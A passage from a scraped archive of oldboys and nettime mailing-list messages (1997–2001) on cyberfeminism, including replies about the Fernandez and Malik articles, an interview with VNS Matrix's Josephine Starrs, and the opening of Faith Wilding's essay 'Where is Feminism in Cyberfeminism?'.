speaking for someone else, and as you seem \nto imply that Maria is on this list, I'm sure this won't last for long, but \nsurely these two things aren't mutually exclusive? First of all, her points \nre-emphasize Haraway's and presumably go along with cyberfem's \n'non-natural' use of technological tools; second, I think it's clear from \neverything's she's saying that she thinks the story ain't over - as it were \n- but yes, that there's a frustration there at the lack of specificity \nregarding what are broadly understood as its aims, and the 'backpeddling' \non the feminism half of its name; third, I think she's trying to reclaim \nfor something-like-cyberfeminism a far more diverse understanding of what \n'cyber' might be in the global economy - to bring in all the far flung \nfemale identitities which Haraway brought into the equation. Fair cop, no? \nCan't *that* be a contribution, from a practitioner whose 'medium' is text? \nWhen she talks about careererism, well, that stuff is so personal that the \nsingle term cyberfeminism just becomes too big an umbrella to really \ncategorise the who and the why, but it's fair to posit it as a worry: even \nif it only functions to be shot down, including by those who may think \ncareererism is a useful political strategy.\n\nBy the way, Suhail Malik lectures in art theory in the fine art dept. of \nGoldsmiths, here in London. Essentially, in this article he was revisiting \na subject that was already a bane of his in 1994 - when he wrote one of our \n(Mute's) first big essays: The Immateriality of the Signifier: The Flesh \nand the Innocence of Michael Jackson.\n\nByeeee, Pauline.\n\n\n*-*-*-*-*-*-*-*-*-*-*-*-*-*-*\nMute/Metamute/Mutella\n2nd Floor East, Universal House,\n88-94 Wentworth Street, London, E1 7SA.\nT: +44 (0)20 7377 6949 // F: +44 (0)20 7377 9520\nE: pauline@metamute.com // W: [www.metamute.com]\n\n\n\n**  distributed via <oldboys list>: no commercial use without permission\n**  <oldboys list> is an unmoderated mailing list for global cyberfeminism\n**  to remove your address from the list, send a message to:\n    <oldboys-unsubscribe-xy=domain.topleveldomain@lists.ccc.de>\n**  more info: send mail to: oldboys-info@lists.ccc.de and/or <oldboys-faq@lists.ccc.de>\n**  archive: http://www.nettime.org/oldboys\n**  contact: oldboys-owner@lists.ccc.de\n**  www.obn.org\n\n\n\n\n",
                                        "id": "00023",
                                        "date": "Fri, 24 Aug 2001 11:20:11 +0100",
                                        "to": "ldboys@lists.ccc.de",
                                        "message-id": "5.0.0.25.1.20010824105033.02333a10@metamute.com",
                                        "url": "https://nettime.org/Lists-Archives/oldboys-0108/msg00023.html",
                                        "content-type": "text/plai",
                                        "author_name": "Pauline van Mourik Broekman",
                                        "subject": "Re: [oldboys] Re: maria fernandez/suhail malik on cyberfeminism"
                                    },
                                    {
                                        "from": "Cornelia Sollfrank <cornelia@snafu.de>",
                                        "content": "hi pauline,\n\ntnx for 'speaking for someone else'... \n\nyes, maria is on the list, but maybe she is on holidays or so. i hope she will also take the opportunity to comment.\n\n>First of all, her points \n>re-emphasize Haraway's and presumably go along with cyberfem's \n>'non-natural' use of technological tools; \n\nok\n\n>second, I think it's clear from \n>everything's she's saying that she thinks the story ain't over - as it were \n>- but yes, that there's a frustration there at the lack of specificity \n>regarding what are broadly understood as its aims, and the 'backpeddling' \n>on the feminism half of its name; \n\n\ngood that it's not over otherwise we had to ask ourselves what we are doing on this list;-)\n(maybe we have anyway, oe esp. because it is not over)\nthere is a tradition within obn discussing the understanding of politics. (see also mute #13)\nand the main question is if something (like cf) can have a political concern if there is not clearly formulated goals; if there can by a different understanding of politics than an intentional, which clearly was the feminism of the 70s. for me it makes much more sense to rethink strategies and tools than just replacing one goal by another and using the same strategies to try to reach them. but there will also be a section at the conference talking about what the hell is it that ties obn together? i dont know if we have the goals on our banners afterwards. maybe some have their goals already, just on very tiny banners?\n\n>third, I think she's trying to reclaim \n>for something-like-cyberfeminism a far more diverse understanding of what \n>'cyber' might be in the global economy - to bring in all the far flung \n>female identitities which Haraway brought into the equation. Fair cop, no? \n>Can't *that* be a contribution, from a practitioner whose 'medium' is text? \n\nit is at least a starting point. as you all might know already we are having the third international conference this year in december, just working on the call, and this will be exactly the right place to talk about utopias, understanding of politics etc. and to present more profound ideas of cyberfeminist politics i.e.\n\n\n>When she talks about careererism, well, that stuff is so personal that the \n>single term cyberfeminism just becomes too big an umbrella to really \n>categorise the who and the why, but it's fair to posit it as a worry: even \n>if it only functions to be shot down, including by those who may think \n>careererism is a useful political strategy.\n\nthat feminists accuse each other for only being feminist of career reasons is an old tradition, as old as the fact that proclaiming to be a feminist /cyberfeminist does harm to your career. it doesn't lead anyone anywhere and mostly shows personal envy. to make a serious topic out of it you have to be honest about female competition which is a complete taboo, still. and one should take into consideration that not everyone wants to go into the arena and take the risk to be publically beaten up. and if you do so, is it just for career reasons??\n\nanyway, i finally had an inspiration for a domain name for my new homepage:\n\nwww.cyberfeminist-career-center.de\n\n\ni think it is really funny:-)\n\nbest, c.\n\n\n\n:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::\n:::::\"A smart artist makes the machine do the work\"::::::::::::::::::::::::\n:::::::::::::::::::::::::::::::::::::::::::::::::::::::::: ::::::::::::::::\n::::::::::::::::::::::: [net.art generator]: http://www.obn.org/generator :\n:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::\n:Cornelia Sollfrank | Rutschbahn 37 | 20146 Hamburg | Germany :::::::::::::\n::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::0173-6173348:\n\n\n\n\n**  distributed via <oldboys list>: no commercial use without permission\n**  <oldboys list> is an unmoderated mailing list for global cyberfeminism\n**  to remove your address from the list, send a message to:\n    <oldboys-unsubscribe-xy=domain.topleveldomain@lists.ccc.de>\n**  more info: send mail to: oldboys-info@lists.ccc.de and/or <oldboys-faq@lists.ccc.de>\n**  archive: http://www.nettime.org/oldboys\n**  contact: oldboys-owner@lists.ccc.de\n**  www.obn.org\n\n\n\n\n",
                                        "id": "00026",
                                        "date": "Tue, 28 Aug 2001 18:42:44 +0100",
                                        "to": "ldboys@lists.ccc.de",
                                        "message-id": "l0313033fb7b069a039dc@[213.73.66.60]",
                                        "url": "https://nettime.org/Lists-Archives/oldboys-0108/msg00026.html",
                                        "content-type": "text/plai",
                                        "author_name": "Cornelia Sollfrank",
                                        "subject": "Re: [oldboys] Re: maria fernandez/suhail malik on cyberfeminism"
                                    }
                                ],
                                "message-id": "5.0.0.25.1.20010823165732.02336640@metamute.com",
                                "date": "Thu, 23 Aug 2001 17:06:01 +0100",
                                "content-type": "multipart/alternativ"
                            }
                        ],
                        "from": "Pauline van Mourik Broekman <pauline@metamute.com>",
                        "content": "Hiya old  boys,\n\nSorry to butt in after never doing so, but I could do that if Maria doesn't \nmind. I co-edit Mute & have got the final version + the opposing viewpoint \n(from Suhail Malik) somewhere here, as they've just been extracted from the \npage layouts to go on the Web. They were both part of a regular double \npager we do sort of juxtaposing opposite points of view on a topical issue. \nThey'll also both go up when our next issue (21) comes out.\n\nTwo seconds......\n\nBest,\n\nPauline.\n\n>pls. see at 'mute' issue 20 full version\n>or maybe maria can send it to the list!?\n>\n>-->shortcuts page 10\n>\n>whatever happened to the cyborg manifesto?\n\n\n*-*-*-*-*-*-*-*-*-*-*-*-*-*-*\nMute/Metamute/Mutella\n2nd Floor East, Universal House,\n88-94 Wentworth Street, London, E1 7SA.\nT: +44 (0)20 7377 6949 // F: +44 (0)20 7377 9520\nE: pauline@metamute.com // W: [www.metamute.com]\n\n\n\n**  distributed via <oldboys list>: no commercial use without permission\n**  <oldboys list> is an unmoderated mailing list for global cyberfeminism\n**  to remove your address from the list, send a message to:\n    <oldboys-unsubscribe-xy=domain.topleveldomain@lists.ccc.de>\n**  more info: send mail to: oldboys-info@lists.ccc.de and/or <oldboys-faq@lists.ccc.de>\n**  archive: http://www.nettime.org/oldboys\n**  contact: oldboys-owner@lists.ccc.de\n**  www.obn.org\n\n\n\n\n",
                        "id": "00017",
                        "date": "Wed, 22 Aug 2001 14:38:41 +0100",
                        "to": "ldboys@lists.ccc.de",
                        "message-id": "5.0.0.25.1.20010822141706.02158bd0@metamute.com",
                        "url": "https://nettime.org/Lists-Archives/oldboys-0108/msg00017.html",
                        "content-type": "text/plai",
                        "author_name": "Pauline van Mourik Broekman",
                        "subject": "Re: [oldboys] maria fernandez on cyberfeminism"
                    }
                ],
                "message-id": "l03130301b7a95d0156ed@[213.73.67.111]",
                "date": "Wed, 22 Aug 2001 14:10:07 +0100",
                "content-type": "text/plai"
            },
            {
                "content-type": "text/plai",
                "from": "Josephine Bosma <jesis {AT} xs4all.nl>",
                "id": "00207",
                "content": "\nIts summer, allthough you wouldn't believe it here in cold Amsterdam.\nNettime has been rather silent, and the mails that did come were\n*very* long and also the connection to anything like net.criticism\nwas somewhat lost to me sometimes.\nHere's a little byte of VNS, an interview I did with Josephine Starrs\nthe 26th of March this year. It was kind of an addition to another\ninterview I did with Josephine and Leon Cmielewski about their\nuser unfriendly interface and their emotional computerlife, so its\nnot very long or deep. As I said, just a byte of VNS, for your\nenjoyment.\n\n\n\nJS: VNS_Matrix was four women: Francesca Di Rimini, Virginia Barratt,\nJulianne Pierce and myself, Josephine Starrs. We started about five\nor six years ago with the cyberfeminist manifesto for the twentyfirst\ncentury.\nWe started postering cities in Australia with that manifesto. We wanted\nto work with technology, we're all from different backgrounds: writer,\nperformance artist, filmmaker, I was from a photography background. We\ndidn't have access to any particular new technology, but we had access\nto a photocopier, so we just started writing about technology, because\nwe were worried that it seemed such a boys domain at that time, in the\nartworld and so on.\nWe started computers and we did internet performance work, we've done\ninstallations, we've done billboards. We had this agenda of encouraging\nwomen to get involved if they want to look at their relationship with\ntechnologies, to get the hands on the tools and to have fun with it.\nPart of the project was to use humour in this process, rather then a\nseventies style of feminism where you got up on a soapbox and blabla..\nWe tried to make it like technology isn't intimidating, its fun to use.\nIn proces we all started to get completely sucked in and we started\nhaving too much fun I think. (laughter)\nThe last project has been to make this computergame called Bad Code.\nSo far we've made the prototype of that. Now we are looking for\ndevelopers to develop it further.\n\nJB: Its for girls right?\n\nJS: Its not particularly FOR girls, its just not aimed at fourteen year\nold boys. So by not aiming at fourteen year old boys, girls like it.\n\nJB: You're from different diciplines, but do you all have a feminist\nbackground? Hows the everage age? Do you think there is different\ngenerations in feminism?\n\nJS: Yes, we all have a feminist background. We are all in our mid\ntwenties.(laughts) Our ages range from thirty-three to fourty-two,\nso..I don't know how to answer the last question. I guess there's all\nthat stuff about the first wave and the second wave of feminism, but\ncyberfeminism goes beyond all that.\n\nJB: It covers all of them?\n\nJS: yeah.\n\nJB: Do you have any examples or other cyberfeminists that you enjoy?\n\nJB: Certainly. Lets see, who would be on our list of cyberfeminists..\nWell, Sadie Plant is my favorit cyberfeminist. I love her quote that\ncyberfeminism is simply the acknowledgement that the patriarchy is\ndoomed. I think Sandie Stone and Brenda Laurel should be on the list.\nThere are a few groups in Australia, the Digitarts, Linda Dement, Zoe\nSophoulis, lots of women working in the area and writing about new\nmedia and so on.\n\nJB: Are there any females (they don't have to necesarely call themselves\nfeminists) that come before the cyberfeminist wave, that inspired you?\nThat you think have made a kind of breeding ground for you to work from?\n\nJS: Its true that I was influenced in the eighties, like everyone else,\nby writings of french feminists like Irigaray and Kristeva. That french\nfeminism kind of informed our original manifesto in a way. But we were\ntrying to use that as a springboard to find another way of looking at\nthings. And I guess Donna Harraway especially inspired us at the time.\nThere are a lot of women artists that a lot of people have never heard\nof in Australiawho started to work in the area, like Linda Dement who\ndid the CyberFleshGirlMonster-CD. She is a good friend. We thought\nfeminism had become far to theoretical and we didn't know which way to\ngo. So we thought: what did they do in the seventies, they had\nmanifesto's and they got out there and posted.. So we thought we'ld\nbecome activists. We had a lot of fun doing it, more in a sort of\nironic, humorous way.\n\nJB: Feminism is a bit suffering from the fact that the diversity in\nissues concerning women, who make up half of the world population and\nhave different backgrounds and possibilities, this diversity is vast\nand hard to to work with.\nAre you working in any way with the issues there or do you seek\nconnections with for instance groups that fight for very simple basic\nrights?\n\nJS: I have done a lot of teaching in art schools and community set ups.\nI know what it is like to teach a woman how to use a computer, who has\na real fobia.\nThere are different ways of teaching, without intimidating people\ncompletely. In that way we've tried to be active and encouraging women\nnot to be intimidated. We live in Australia, its a wealthy western\ncountry. We're aware of the fact of course that there are all these\nwomen in for example the Filipines going blind making this technology\nthat we're using. We feel that we can't cover everything though. we\nare cynical about the techno evangelism coming out of California saying\ntechnology is going to save the world and make everybody happy, because\nit always talking about a certain part of the population of course that\nhave access to that technology. But it is not going to make us stop\nusing it, or stop us from networking with different people.\n\nJB: Talking about women online: do you think, with Kristeva and\nIrigaray's work in mind, can you notice different styles of discourse\non line between women and men?\n\nJS: Thats a good one. If you're talking about chats or moos,\neverybody's trying to peek whether you're talking to a man or woman,\nand I think I've probably been fooled some of the time, also a lot of\npeople thought I have been a man and I have gone with that and\npretended to be a man. But in terms of the writing, I think some of\nmy friends who are writing, I am thinking now of one of vnsmatrix:\nFrancesca DiRimini aka Gashgirl, that her writing is particularly\ninfluenced by perhaps feminist writings. So it sort of has grown up\nand then expanded onto the online thing, because its a nonlinear kind\nof writing and because you can use the hypertext in a different sort\nof way. I do not want to generalize, but there is a nice style that\nwomen are developing in their online writing.\n\nJB: What do you think will be the future of academic male discourse\nonline?\nIt can never stay as straight as it is..\n\nJS: (laughts) I have no idea. It is very straight yes. I am amazed\nby some of the postings that happen. I don't join in a lot because\noften its just so serious, just so straight. I prefer to have to play\nonline, play with words and play with the people that I'm corresponding\nwith, which aren't all women.\n\nJB: I think I understand what you mean, but of course if somebody\nlistens to this or reads this, they might very well think: O, there\nare these women again, they cannot have a serious conversation. I don't\nthink you mean serious, right?\nThere's something else in these texts that you cannot log into, cannot\nconnect to. Could you describe it in a different way?\n\nJS: I guess its more that the style of writing puts a distance between\nyou and the person that is supposed to be communicating with you. Thats\nthe only thing I can say really. I talk about serious issues with the\npeople that I correspond with. I am not belittleling seriousness. There\nare a lot of serious things to be discussed. There is a lot of serious\nwork to be done. But there is also this thing of putting a distance\nbetween you and the person you are communicating with.\n\nJB: and this serves a purpose of course, but now I am leading the\nwitness.\n\n\n*\n\n\n---\n#  distributed via nettime-l : no commercial use without permission\n#  <nettime> is a closed moderated mailinglist for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} icf.de and \"info nettime\" in the msg body\n#  URL: http://www.desk.nl/~nettime/  contact: nettime-owner {AT} icf.de\n\n",
                "date": "Sat, 28 Jun 1997 10:21:12 +0200 (MET DST)",
                "to": "nettime-l {AT} Desk.nl",
                "message-id": "l03010d01afda856f3c8d {AT} [194.109.45.57]",
                "url": "https://nettime.org/Lists-Archives/nettime-l-9706/msg00207.html",
                "list": "nettime_l",
                "author_name": "Josephine Bosma",
                "subject": "<nettime> a byte of VN"
            },
            {
                "content-type": "text/plai",
                "from": "aith Wilding <74447.2452 {AT} compuserve.com>",
                "id": "00009",
                "content": "\nWhere is Feminism in Cyberfeminism?\n\nFaith Wilding\n\nIntroduction\n\n\"What is cyberfeminism? Sadie Plant claims it is an absolutely post-human \ninsurrection -the revolt of an emergent system which includes women and \ncomputers, against the world view and material reality of a patriarchy which \nstill seeks to subdue them. This is an alliance of 'the goods' against their \nmasters, an alliance of woman and machines. It is a revolt of the chattels.\" \n                --Caroline Bassett, With a little help from Our (New) Friends?\n\nDuring the recent Cyberfeminist International (CI) meetings at Documenta X in \nKassel, Germany (1), much discussion centered on whether or not there \nshould--or could--be a definition of cyberfeminism. FACES (a women only \non-line list) had been debating this issue with varying degrees of passion for\nmonths; the press and other interested parties wanted to know; we, the \nparticipants, wanted to know. The chance to talk about this important issue \nface to face was invaluable since this perplexing question lies at the heart \nof many of  the contradictory contemporary positions and attitudes toward \nfeminism(s) on-line, which need to be addressed if there is to be an engaged \n(cyber)feminist politics implemented on the Net. By looking more closely at \nthe reasons put forth against  defining cyberfeminism, and their implications,\nand by offering some possible definitions of cyberfeminism, I hope to suggest \nhow such a politics might be translated into practice. The impetus for this \nessay springs from the experience of eight days of intense daily living and \nworking with almost forty women participants of the 1st Cyberfeminist \nInternational. The daily collective interactions, discussions, presentations, \nmeals, work, and play, represented a browser through which possible practices \nof a cyberfeminist movement became visible. The women present understood this \nto be a significant historic moment; subsequent on-line discussions and \nplanning are adding to the evidence that much research and development still \nlie ahead.\n\nAgainst Definition\n\n \"The 1st CYBERFEMINIST INTERNATIONAL slips through the traps of definition \nwith different attitudes towards art, culture, theory, politics, communication\nand technology--the terrain of the Internet.\"\n                                                                --1st CI Press\nRelease\n\nSome definitions of cyberfeminism have already been offered in the writings \nand art practices of Sadie Plant, VNS Matrix, Linda Dement, Rosi Braidotti, \nAlluquere Rosanne Stone, and others. Why then this preoccupation with \ndefinitions of cyberfeminism in the CI discussions?  The reasons given for \nrefusing to define cyberfeminism--even though they may call themselves \ncyberfeminists--indicate a profound ambivalence in many wired women's \nrelationship to what they perceive to be a monumental past feminist history, \ntheory and practice, and its relevance to contemporary conditions facing women\nimmersed in technology. I will discuss four of the main manifestations of this\nambivalence and explore their implications.\n\n1. Repudiation of \"old style\" (70's ) feminism.\n According to this argument,\"old style\" (70's) feminism is characterized as \nconstricting (politically correct), guilt inducing, essentialist, \nanti-technology, anti-sex, and not relevant to women's circumstances in the \nnew technologies. This is ironic because in actual practice cyberfeminism has \nalready adopted many of the strategies of avant garde feminist movements, \nincluding strategic separatism (women only lists, self-help, chat groups, \nnetworks, and woman to woman technological training), feminist cultural, \nsocial, and language theory and analysis, creation of new images of women on \nthe Net (feminist avatars, cyborgs, genderfusion) to counter rampant sexist \nstereotyping, feminist net critique, strategic essentialism, and the like. The\nrepudiation of historical feminism is problematic because it throws out the \nbaby with the bathwater and aligns itself uneasily with popular fears, \nstereotypes, and misconceptions about feminism.\n        Why is it that so many younger women (and men) know so little about \neven very recent histories of women, not to speak of past feminist movements \nand philosophies? It is tempting to point the finger at educational systems \nand institutions which still treat the histories of women, minoritarian, and \nmarginalized populations as ancillary to \"regular\" history, relegating them to\nspecialized courses or departments. In the US, young women entering college \noften blithely claim equality with men declaring that feminism isn't needed \nanymore--in complete disregard of the fact that the very structures of the \ninstitutions are masculinist; that what counts as the main body of knowledge \nto be conveyed is still almost entirely white, male, and western European; \nthat the new technology departments springing up everywhere are heavily male \ndominated (2); and that women professors still are less likely to be tenured, \ntenure-track, or full-time, and often still make less than male professors at \ncomparable ranks. And all of this despite the fact that as a recognized field \nof knowledge and study, feminism and gender studies are firmly established in \nacademia.\n        But the problems lie deeper than the education systems. The political \nwork of building a movement is a technology which must be learned by study and\npractice and needs the help of experienced practicioners. The struggle to keep\npractices and histories of resistance alive today is harder in the face of a \ncommodity culture which thrives on novelty, speed, obsolescence, evanescence, \nvirtuality, simulation, and utopian promises of technology. Commodity culture \nis forever young and makes even the recent past appear remote and mythic. On a\nrecent panel a young woman said that 70's feminism has taken on mythical \nproportions for her generation, making the prospect of  measuring up to such a\nhistory overwhelming for her and her peers. Conversely, many older feminists \nare unsure of how to connect to the issues of new media generations, and how \nto go about translating feminist ideas to the information culture. The problem\nfor younger women then, becomes one of how to create a feminist politics and \nactivist trajectory of their own to address new cultural and technological \nconditions and experiences.     \n        To be sure, the problem of the loss of historical knowledge and active\nconnection to radical movements of the past is one which is not limited to \nfeminism--it is an endemic problem for leftist movements in the US.  By \narguing for the importance of the knowledge of history I am not interested in \ninvoking nostalgic homage to moments of past glory. If cyberfeminists wish to \navoid making the mistakes of past feminists, it behooves them to know and \nanalyze feminist histories very carefully. And if they are to expand their \nterritory on the Net and negotiate issues of difference across generational, \neconomic, educational, racial, national, and experiential boundaries, they \nmust seek out coalitions and alliances with diverse groups of women involved \nin the integrated circuit of global technologies. At the same time, close \nfamiliarity with postcolonial studies, and with the histories of imperialist \nand colonialist domination--and resistance to them--are equally important for \nan informed practice of  cyberfeminist politics.\n\n2. Cybergrrl-ism. \nJudging by a quick net browse, one of the most popular feminist avatars \ncurrently offered to young women on the Net is \"cybergrrl-ism\" in all of its \npermutations: \"webgrrls\", \"riot grrls\", \"guerrilla girls\", \"bad grrls\", etc. \nAs Rosi Braidotti (3) and others have pointed out, the often ironical, \nparodic, humorous, passionate, angry, or aggressive work of many of these \nrecent \"grrrl\" groups is an important  manifestation of new feminine \nsubjective and cultural representations in cyberspace. Currently there is \nquite a wide variety of articulations of feminist and protofeminist practices \nin these various 'groups' which seem to range from \"anyone female can join\" \nchatty mailing lists, to sci-fi, cyberpunk, and femporn zines; \nanti-discrimination projects; sexual exhibitionism; transgender \nexperimentation; lesbian separatism; medical self-help; artistic \nself-promotion; job and dating services; and just plain mouthing off. \nCybergrrl-ism generally seems to subscribe to a certain amount of net \nutopianism--an \"anything you wanna be and do in cyberspace is cool\" attitude. \nDespite the gripings against men in general--and technogeeks in \nparticular--which pervade some of the discussions and sites, most cybergrrls \ndon't  seem interested in engaging in a political critique of women's position\non the Net--they'd rather \"just do it\", and adopt the somewhat anti-theory \nattitude which seems to prevail currently. \n        While cybergrrls sometimes draw (whether consciously or unconsciously)\non feminist analyses of popular representations of women--and on the \nstrategies and work of many feminist artists--they also often uncritically \nrecirculate and re-present sexist and stereotyped images of women from popular\nmedia--the buxom gun moll; the supersexed cyborg femme; the 50's tupperware \ncartoon women, are favorites--without any analysis or critical \nrecontextualization. Creating more positive and complex images of women which \nbreak the gendered codes prevailing on the Net (and in the popular media) \ntakes many smart heads, and there is richly suggestive feminist research \navailable, ranging from Haraway's monstrous cyborgs, Judith Butler's gender \nmasquerade, Octavia Butler's recombinant genders, and all manner of hybrid \nbeings which can unsettle the old masculine/feminine binaries.\n        The many lines of flight of cybergrrl-ism are important as vectors of \ninvestigation, research, and invention. But these can't replace the hard work \nwhich is needed in order to identify and change the masculinist structures, \ncontent, and effects of the new technologies. If it is true, as Sadie Plant \nargues that \"women have not merely had a minor part to play in the emergence \nof the digital machines.....(that) women have been the simulators, assemblers,\nand programmers of the digital machines.\"(4) then why are there so few women \nin visible positions of leadership in the electronic world? Why are women \nprogrammers and hackers still a tiny minority, and often considered anomalies?\nWhy is the popular perception still that women are generally anti-tech, and at\nbest secondary players in the high tech world? Sadly, the lesson of Ada \nLovelace is that even though women have made major contributions to the \ninvention of computers and computer programming, it hasn't changed the \nperception--or reality--of women's condition in the new technologies. Being \nbad grrls on the Internet is not going to change matters much either, nor \nchallenge the status quo, though it may provide refreshing moments of \niconoclastic delirium.  But if grrrl energy and invention were to be coupled \nwith engaged political savvy and practice.....Imagine!\n\n3. Net utopianism\n Many cyberfeminists feel that the e-media are completely new technologies \nwhich give women a chance to start afresh, create new languages, programs, \nplatforms, images, fluid identities and multi-subject definitions--that in \nfact, the e-media can be recoded, redesigned, reprogrammed to meet women's \nneed and desire to change the feminine condition. This variety of net \nutopianism declares that the choice is yours in cyberspace--you can be \nanything you want to be--and refuses to be pinned down to definitions which \nmight imply a fixed set of beliefs, practices, or responsibilities or a fixed \nsubject position. As has been noted in a previous essay (5) there is much to \nbe said for considering cyberfeminism a promising new wave of feminist \npractice which can contest technologically complex territories, and chart new \nground for women. It is of utmost importance however to recognize that the new\nmedia exist within a social framework that is already established in its \npractices and embedded in economic, political and cultural environments which \nare still deeply sexist, and racist. Contrary to the fond delusions of many \nnet utopians, information exchange on the Net does not automatically \nobliterate hierarchies through free exchange of information across boundaries.\nAlso, the Net is not a utopia of nongender, it is not a free space ready for \ncolonization without regard to bodies, sex, age, economics, social class, or \nrace. Despite the indisputable groundbreaking contributions by women to the \ninvention and development of computing technology, today's Internet is a \ncontested zone historically originated as a system to serve war technologies, \nand is currently part of masculinist institutions. Any new possibilities \nimagined within the Net must first acknowledge and fully take into account the\nimplications of its founding formations and present political conditions. This\nbeing so, it can be seen as a radical act to insert the word feminism into \ncyber space, to interrupt the flow of masculine codes by boldly declaring the \nintention to bastardize, hybridize, provoke, and infect the male order of \nthings by politicizing the environment of the Net. It is people who can become\npoliticized, not machines, though they may be enlisted as allies in our \nconspiracies. Feminism has always implied dangerous  disruptions, covert and \novert action, war on patriarchal beliefs, traditions, social structures. \nCyberfeminism can model a brash disruptive politics which aims to dismantle \nthe patriarchal conditions which produce the codes, languages, images, and \nstructures of the Net.\n\n  \n4. Fear of political engagement\nAnother ambivalence about defining cyberfeminsm is the fear of forced \npolitical consensus, the fear that discussions will be closed and differences \nelided.  Perhaps by refusing definition, regressive identity politics and \nparty lines, political squabbling, and ideological formulations can be \navoided. As a playful counter to the desire for definition, and as a \nprovocation to the press, the CI composed and posted the \"100 Anti-theses\" (a \nparody of Martin Luther's theses) which \"defined\" cyberfeminism by saying what\nit is not. This definition by negation or absence was an attractive means for \nengaging conversation, piqueing curiosity, and engaging in language play--and \nit was certainly fun as a collective writing project. But one cannot describe \nsomething by saying what it is not, and once the playful point is made, it's \nclear that the 100 antitheses are too abstract, ambiguous, and evasive to \nfunction as an organizing strategy politically. While there are many \ncyberfeminists who are developing extremely sophisticated feminist theories of\nlanguage, subjectivity, the body, technology, and female representation in \ncyberspace, there is little understanding of how these theories link to the \nmundane realities of diverse women's work and experiences on the Net - much \nless how they could translate into a transformation of net practices and \nstructures. During the CI discussions at Documenta X, and subsequently \non-line, it has become more and more evident that current conditions of Net \npolitics and cyberspace demand more than playfulness if cyberfeminism is to be\na force in critiquing Net policy, structure, hierarchies, access, and the \neffects of new technologies and technoscience on women. Arriving at definition\nis itself part of an emergent practice, for definitions will shift and \ncomplexify as practice becomes more complex. Definition can be a declaration \nof solidarity with those engaged in justice struggles and \"freedom projects\" \n(6) everywhere. Cyberfeminists have too much at stake to be frightened off \ntough political strategizing and action by the fear of squabbles, \nideologizing, and political differences. If I'd rather be a cyberfeminist than\na goddess, I'd damned well better know why, and be willing to say so. \n\n\nDefinition as a political strategy      \nLinking the terms \"cyber\" and \"feminism\" produces a crucial new formation in \nthe history of feminism(s) and of the e-media. Each part of the term \nnecessarily modifies the meaning of the other. \"Feminism\" (or more properly, \n\"feminisms\") has been understood as a historical--and \ncontemporary--transnational movement for justice and freedom for women, which \ndepends on women's activist participation in networked local, national, and \ninternational groups. It focuses on the material, political, emotional, \nsexual, and psychic conditions arising from women's differentialized social \nconstruction and gender roles. Link this with \"cyber\", which means to steer, \ngovern, control (especially automated systems), and we conjure up feminism at \nthe helm: New political, social, and cultural possibilities which are quite \nstaggering. \"CyberfeminismS\" (7) can link the historical and philosophical \npractices of feminism to contemporary feminist projects and networks both on \nand off the Net, and to the material lives and experiences of women in the New\nWorld Order, however differently they are manifested in different countries, \namong different classes and races. If feminism is to be adequate to its \ncyberpotential then it must mutate to keep up with the shifting complexities \nof social realities and life conditions as they are changed by the profound \nimpact communications technologies and technoscience have on all our lives. It\nis up to cyberfeminists to use feminist theoretical insights and strategic \ntools and join them with cybertechniques to battle the very real sexism, \nracism, and militarism encoded in the software and hardware of the Net, thus \npoliticizing this environment. \n        While refusing definition seems like an attractive, non-hierarchical, \nanti-identity tactic, it in fact plays into the hands of those who would \nprefer a net quietism: Give a few lucky women computers to play with and \nthey'll shut up and stop complaining. This attitude is one of which \ncyberfeminists should be extremely wary and critical. Access to the Internet \nis still a privilege, and by no means to be regarded as a universal right (nor\nis it necessarily useful or desirable for everyone). While brilliant consumer \nmarketing has suceeded in making ownership of a PC seem as imperative as \nhaving a telephone, computers are in fact powerful tools possession of which \ncan provide a political advantage (the personal computer is the political \ncomputer). If the Internet is increasingly the channel through which many \npeople (in the overdeveloped nations) get the bulk of their information, then \nit matters greatly how women participate in the programming, policy setting, \nand content formations of the Net, for the information coming across the Net \nneeds to be contextualized both by the receiver and the sender. On the \nInternet, feminism has a new transnational audience which needs to be educated\nin its history and its contemporary conditions as they prevail in different \ncountries. For many, cyberfeminism could be their entry point into feminist \ndiscourse and practices. While there is a great deal of all kinds of \ninformation about feminism available on the Net (8) --and new sites are \nopening up all the time--it must be remembered that the more this information \ncan be contextualized politically, and linked to practices, activism, and \nconditions of every day life, the more it is likely to be effective in helping\nto connect and mobilize people. A potent example can be seen in the Zamir \nNetwork (Zamir  \"for peace\") of BBS and e-mail which was created (after the \neruption of civil war in Yugoslavia in l99l) to link peace activists in \nCroatia, Serbia, Slovenia, and Bosnia across borders via host computers in \nGermany. The point is that computers are more than playful tools, consumer \ntoys, or personal pleasure machines--they are the master's tools, and they \nhave very different meanings and uses for different populations. It will take \ncrafty steerswomen to navigate these channels.\n        While cyberfeminists should avoid some of the damaging mistakes and \nblindnesses which were part of past feminist thinking, the knowledge, \nexperience, and feminist analysis and strategies accumulated thus far are \ncrucial to carrying their work forward now. If the goal is to create a \nfeminist politics on the Net, to empower women, and to create new \npossibilities for becoming and action in the world, then cyberfeminists must \nreinterpret and transpose feminist analysis, critique, strategies, and \nexperience to encounter and contest new conditions, new technologies, new \nformations. (Self)definition can be an emergent property which arises out of \npractice and changes with the movements of desire and action. Definition can \nbe fluid, and need not mean limits; rather, it can be a declaration of \ndesires, strategies, actions, and goals. It can create crucial solidarity in \nthe house of difference-- solidarity, rather than unity or \nconsensus--solidarity which is a basis for effective political action.\n\nA Cyberfeminist cell\nHow might cyberfeminists organize to work for a feminist political and \ncultural environment on the Net? What are various areas of feminist research \nand net activity that are already beginning to emerge as cyberfeminist \npractice? The 1st Cyberfeminist International during Documenta X in Kassel can\nserve as an example of a prototype cell of feminist Net organis(m)ation.\n        A varying and diverse group of more than thirty women--with a steady \ncore of about ten--worked and lived together during the CI. The women were \nself-selected by open invitation to members of the FACES (women-only) mailing \nlist (affiliated with nettime).  The main responsibilities for organizing the \nCI workdays was taken on by OBN (Old Boys Network)--an adhoc group of about 6 \nwomen--in on-line consultation with all participants. Besides deciding on the \ncontent of the CI, the OBN took care of the myriad details of housing, travel,\nscheduling, technological needs, interfaces with nettime and Documenta, \nbudgeting and communications. Because of the open and exhaustive on-line \ncommunications between the OBN leadership and participants, collaborative \nworking relationships were already established by the time the participants \nmet together face to face in Kassel. \n        From the first day this collaborative process--a recombinant form of \nfeminist group processes, anarchic self-organization, and rotating \nleadership--continued to develop among women from more than eight countries, \nand from different economic, ethnic, professional, and political backgrounds. \nEach day began with participants meeting to 